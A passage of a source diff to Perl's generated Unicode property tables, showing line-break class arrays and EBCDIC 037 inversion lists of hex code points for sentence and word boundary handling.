LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_H2, + LB_H3, + LB_Alphabetic, + LB_JV, + LB_Alphabetic, + LB_JT, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Combining_Mark, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Infix_Numeric, + LB_Close_Punctuation, + LB_Infix_Numeric, + LB_Exclamation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Inseparable, + LB_Alphabetic, + LB_Combining_Mark, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Nonstarter, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Alphabetic, + LB_Word_Joiner, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Exclamation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Ideographic, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Ideographic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Contingent_Break, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Inseparable, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_Before, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Regional_Indicator, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Modifier, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Nonstarter, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic +}; + +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ - 1519, /* Number of elements */ +static const UV _Perl_SB_invlist[] = { /* for EBCDIC 037 */ + 2977, /* Number of elements */ 148565664, /* Version and data structure type */ 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x5, + 0x6, 0xB, + 0xD, 0xE, 0x15, 0x16, 0x25, 0x26, + 0x40, 0x42, 0x4A, 0x4B, 0x4C, + 0x4D, + 0x4E, 0x51, 0x5A, + 0x5B, + 0x5D, 0x5E, - 0x5F, + 0x60, + 0x61, 0x62, 0x6A, 0x6B, 0x6C, - 0x6D, - 0x6E, + 0x6F, 0x70, + 0x71, 0x79, 0x7A, 0x7B, 0x7D, 0x7E, 0x7F, + 0x80, + 0x81, 0x8A, 0x8C, 0x8F, @@ -359849,9 +75982,12 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xAA, 0xAC, 0xAF, - 0xB3, - 0xB4, + 0xBA, + 0xBC, + 0xC0, 0xC1, + 0xCA, + 0xCB, 0xD0, 0xD1, 0xDA, @@ -359860,35 +75996,577 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0xE2, 0xEA, 0xEB, + 0xF0, 0xFA, 0xFB, 0xFF, 0x100, - 0x2D8, - 0x2DE, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BB, + 0x1BC, + 0x1BD, + 0x1C0, + 0x1C4, + 0x1C6, + 0x1C7, + 0x1C9, + 0x1CA, + 0x1CC, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F3, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x294, + 0x295, + 0x2B9, + 0x2C0, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, 0x2E5, 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x300, + 0x370, + 0x371, + 0x372, + 0x373, + 0x374, 0x375, 0x376, + 0x377, 0x378, 0x37A, + 0x37E, + 0x37F, 0x380, 0x386, + 0x387, + 0x388, 0x38B, 0x38C, 0x38D, 0x38E, + 0x390, + 0x391, 0x3A2, 0x3A3, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, 0x3F6, 0x3F7, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, 0x482, 0x483, + 0x48A, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 0x50A, + 0x50B, + 0x50C, + 0x50D, + 0x50E, + 0x50F, + 0x510, + 0x511, + 0x512, + 0x513, + 0x514, + 0x515, + 0x516, + 0x517, + 0x518, + 0x519, + 0x51A, + 0x51B, + 0x51C, + 0x51D, + 0x51E, + 0x51F, + 0x520, + 0x521, + 0x522, + 0x523, + 0x524, + 0x525, + 0x526, + 0x527, + 0x528, + 0x529, + 0x52A, + 0x52B, + 0x52C, + 0x52D, + 0x52E, + 0x52F, 0x530, 0x531, 0x557, 0x559, 0x55A, + 0x55D, + 0x55E, 0x561, 0x588, 0x589, @@ -359906,7 +76584,7 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x5D0, 0x5EB, 0x5F0, - 0x5F5, + 0x5F4, 0x600, 0x606, 0x60C, @@ -359915,45 +76593,84 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 037 */ 0x61B, 0x61C, 0x61D, + 0x61F, 0x620, + 0x64B, + 0x660, 0x66A, 0x66B, 0x66D, 0x66E, + 0x670, + 0x671, 0x6D4, 0x6D5, + 0x6D6, + 0x6DD, 0x6DE, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, + 